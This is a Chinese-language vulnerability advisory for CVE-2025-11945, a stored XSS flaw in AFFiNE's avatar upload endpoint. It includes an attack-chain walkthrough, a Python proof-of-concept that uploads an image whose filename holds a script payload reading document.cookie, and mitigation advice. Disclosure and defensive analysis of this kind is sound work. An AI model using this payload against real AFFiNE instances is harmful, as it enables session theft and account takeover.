IPBUF安全漏洞报告
English
CVE-2025-11945 CVSS 3.5 低危

CVE-2025-11945:AFFiNE头像上传端点跨站脚本漏洞

披露日期: 2025-10-19

漏洞信息

漏洞编号
CVE-2025-11945
漏洞类型
跨站脚本(XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
toeverything AFFiNE

相关标签

XSS跨站脚本AFFiNEtoeverything头像上传低危漏洞CVE-2025-11945Web应用漏洞存储型XSS

漏洞概述

CVE-2025-11945是一个存在于toeverything AFFiNE协同办公平台中的跨站脚本(XSS)漏洞,影响版本为AFFiNE 0.24.1及以下版本。该漏洞位于AFFiNE的头像上传图片端点(Avatar Upload Image Endpoint)中,攻击者可以通过构造恶意的上传请求向该端点注入恶意脚本代码。由于该漏洞属于存储型或反射型XSS,攻击者可以在受害者的浏览器上下文中执行任意JavaScript代码,从而窃取用户会话信息、敏感数据或执行未授权操作。该漏洞的CVSS 3.1评分为3.5分,属于低危级别,但其利用复杂度较低且公开存在可利用的PoC代码,因此仍需引起足够重视。值得注意的是,漏洞发现者曾尝试联系AFFiNE的供应商进行协调披露,但供应商未对此做出任何回应,这增加了用户面临安全风险的可能性。该漏洞可通过网络远程触发,攻击者仅需低权限账户即可实施攻击,且需要受害者进行一定程度的交互(如访问包含恶意内容的页面)。虽然该漏洞对机密性和完整性影响有限,但仍然可能对用户隐私和系统安全构成威胁。

技术细节

该漏洞的核心问题在于AFFiNE平台的头像上传图片端点(Avatar Upload Image Endpoint)未能充分验证和过滤用户上传的内容。具体而言,当用户上传头像图片时,服务端未对上传文件的相关元数据(如文件名、MIME类型、EXIF信息等)进行严格的输入验证和输出编码,导致攻击者可以将恶意JavaScript代码嵌入到上传的图片文件名或其他可渲染的字段中。当其他用户或受害者查看包含该恶意头像的页面时,浏览器会解析并执行嵌入的恶意脚本,从而实现XSS攻击。攻击者可以利用此漏洞执行以下操作:1)窃取用户的会话Cookie或认证令牌;2)劫持用户账户进行未授权操作;3)在受害者浏览器中执行任意JavaScript代码;4)钓鱼攻击或重定向用户到恶意网站;5)访问或修改用户敏感数据。该漏洞的利用条件为:攻击者需要拥有AFFiNE平台的低权限账户,然后通过精心构造的上传请求将恶意代码注入头像上传端点,随后诱导受害者查看包含恶意头像的页面。由于漏洞利用代码已公开,攻击者可以轻松复现和利用此漏洞。

攻击链分析

STEP 1
步骤1:获取账户
攻击者注册或获取AFFiNE平台的低权限账户,作为发起攻击的基础。
STEP 2
步骤2:构造恶意头像
攻击者构造包含恶意JavaScript代码的图片文件,通常通过将payload嵌入文件名、EXIF元数据或图片内容中实现。
STEP 3
步骤3:上传恶意头像
攻击者通过AFFiNE的头像上传图片端点(Avatar Upload Image Endpoint)上传包含恶意代码的头像,利用服务端缺乏输入验证的缺陷。
STEP 4
步骤4:诱导受害者查看
攻击者通过社交工程手段诱导受害者查看包含恶意头像的用户资料页面或相关页面。
STEP 5
步骤5:执行恶意代码
受害者的浏览器解析并执行嵌入在头像中的恶意JavaScript代码,攻击者可以窃取会话凭证、执行未授权操作或进行钓鱼攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11945 PoC - AFFiNE Avatar Upload XSS # Vulnerability: Stored/Reflected XSS via Avatar Upload Image Endpoint # Affected: AFFiNE <= 0.24.1 import requests # Target configuration TARGET_URL = "https://target-affine-instance.com" AUTH_TOKEN = "your_auth_token_here" # Low privilege account token # Malicious payload embedded in image filename # The payload will be executed when the avatar is rendered MALICIOUS_FILENAME = "<img src=x onerror=alert(document.cookie)>.png" # Create a minimal valid PNG file with malicious filename def create_malicious_avatar(): # Minimal 1x1 PNG file bytes png_data = bytes.fromhex( "89504e470d0a1a0a0000000d49484452000000010000000108060000001f15c4" "890000000d49444154789c6300010000000500010d0a2db40000000049454e44ae" "426082" ) return png_data def exploit(): session = requests.Session() session.headers.update({ "Authorization": f"Bearer {AUTH_TOKEN}", "User-Agent": "Mozilla/5.0" }) # Step 1: Upload malicious avatar upload_url = f"{TARGET_URL}/api/avatar/upload" files = { "file": (MALICIOUS_FILENAME, create_malicious_avatar(), "image/png") } response = session.post(upload_url, files=files) print(f"Upload response status: {response.status_code}") # Step 2: Trigger XSS by viewing the profile with malicious avatar # When another user views the attacker's profile, the payload executes profile_url = f"{TARGET_URL}/profile/attacker" print(f"Payload will trigger when victim visits: {profile_url}") if __name__ == "__main__": exploit()

影响范围

toeverything AFFiNE <= 0.24.1

防御指南

临时缓解措施
在AFFiNE官方发布安全补丁之前,建议用户采取以下临时缓解措施:1)限制普通用户上传头像的权限,仅允许受信任的用户上传头像;2)在Web应用防火墙(WAF)中部署XSS防护规则,过滤常见的XSS payload;3)部署严格的内容安全策略(CSP),限制内联脚本的执行;4)对用户上传的头像进行二次处理,例如重新编码图片并清除所有元数据;5)监控异常的用户行为和可疑的上传请求;6)建议用户不要随意查看陌生用户的资料页面,降低被攻击的风险。由于供应商未对漏洞披露做出回应,用户应密切关注AFFiNE官方的更新动态,及时应用安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表